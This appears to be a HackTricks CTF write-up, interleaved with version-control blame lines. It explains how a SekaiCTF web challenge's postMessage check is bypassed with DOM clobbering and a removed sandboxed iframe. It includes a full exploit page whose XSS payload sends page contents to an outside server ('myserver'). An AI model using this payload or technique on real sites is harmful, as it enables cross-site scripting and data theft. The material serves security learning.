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hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

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GitBook: [#3603] No subject
2022-10-13 00:56:34 +00:00
# Bypassing SOP with Iframes - 2
a
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{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
GitBook: [#3603] No subject
2022-10-13 00:56:34 +00:00
<details>
a
2024-07-18 23:15:55 +00:00
<summary>Support HackTricks</summary>
GitBook: [#3603] No subject
2022-10-13 00:56:34 +00:00
a
2024-07-18 23:15:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
GitBook: [#3603] No subject
2022-10-13 00:56:34 +00:00
</details>
a
2024-07-18 23:15:55 +00:00
{% endhint %}
GitBook: [#3603] No subject
2022-10-13 00:56:34 +00:00
## Iframes in SOP-2
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) proposes a similar method to the previous section. Let's check it.
In this challenge the attacker needs to **bypass** this:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**:
* **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
* Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
* Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
* Sending `token` in the postMessage with value `null` is trivial.
* **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.
The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
```
a
2024-07-18 23:15:55 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
GitBook: [#3603] No subject
2022-10-13 00:56:34 +00:00
<details>
a
2024-07-18 23:15:55 +00:00
<summary>Support HackTricks</summary>
GitBook: [#3603] No subject
2022-10-13 00:56:34 +00:00
a
2024-07-18 23:15:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
GitBook: [#3603] No subject
2022-10-13 00:56:34 +00:00
</details>
a
2024-07-18 23:15:55 +00:00
{% endhint %}
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